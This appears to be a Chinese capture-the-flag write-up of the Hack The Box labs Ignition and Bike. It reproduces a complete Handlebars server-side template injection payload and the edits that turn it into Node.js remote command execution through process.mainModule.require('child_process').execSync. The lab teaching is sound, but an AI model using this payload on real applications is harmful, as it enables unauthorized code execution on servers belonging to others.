HTB靶场:Ignition & Bike(Node.js与SSTI)
Ignition
- 通过目录扫描发现admin页面
经过测试,发现不能通过爆破的方式寻找密码,因为设置错误次数不超过5次。并且密码不少于8位 包含字母和数字
使用top10密码进行手动测试
Bike
- 扫描(需求:扫描版本号相关信息)
nmap -sC -sV -Pn <IP>
必须-sC -sV叠加使用,指定端口后也无法扫描出版本号,具体原因不详
- 网站服务相关信息(Express——使用的最多的Node.js框架)
包括node.js和python 在建站的时候,可能涉及到模板引擎,将数据传递给HTML渲染成网页;因此可以确认模板引擎 => 确认模板的常见payload => 服务器端模板注入(SSTI)
SSTI
SSTI中常见字符:> ${{<%[%'"}}%\
确认SSTI:
-
引起报错,提示模板引擎
-
回显与预期效果不同(部分缺少),这意味着服务器处理它的方式与常规数据不同
-
纯文本/表达式测试:
{{7*7}}${7*7}
观察服务器对数学运算的响应,有助于查明特定的模板引擎。 -
代码测试:更改输入参数,查看服务器的输出是动态的还是固定的。例如:
?greeting=data.username
与?greeting=data.username}}hello
检测工具:
-
TInjA
-
SSTImap
-
Tplmap
-
Template Injection Table
相关字典:
SSTI涉及到的相关模板
(还包括Java、PHP等)
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- 开始测试模板
根据报错信息,得到模板为handlebars
-
尝试使用handlebars的payload
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}
-
改包,同时将payload中的特殊字符用URL编码
得到提示信息:未定义require;然后在payload中找关联代码部分,也是payload中关键执行的命令:{{this.push "return require('child_process').exec('whoami');"}}
。因此,需要寻找require以外的方法/关键字替换它。
错误信息中提到的未定义require,与全局变量有关,由于require并非默认的全局变量,导致出现语法错误。除全局变量(global objects)外,类似概念还有内置对象(build-in objects)。
在Node.js中,全局变量并非传统意义上范围最大的变量名称
内置对象有:
* __dirname * __filename * exports * module * require()
- 第二次改包(process对象)
主要将{{this.push "return require('child_process').exec('whoami');"}}
换成{{this.push "return process;"}}
同时;响应无报错,也可以看到 [object process] 已被包含。这意味着 process 对象确实可用。继续研究process文档,发现process有一个 mainModule 属性。此属性返回一个包含 main 模块引用的对象。(该属性被弃用但未完全消失)
如果使用 mainModule 属性直接加载 main 函数,进而加载 require。就可以达到RCE
- 尝试调用 require 并加载 child_process 模块(child_process在Node.js中默认安装,并且可以用于RCE)
主要将{{this.push "return process;"}}
换成了{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
- 拿到flag
本文作者:ki-playground
本文链接:https://www.cnblogs.com/hackthebox/p/18418156
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步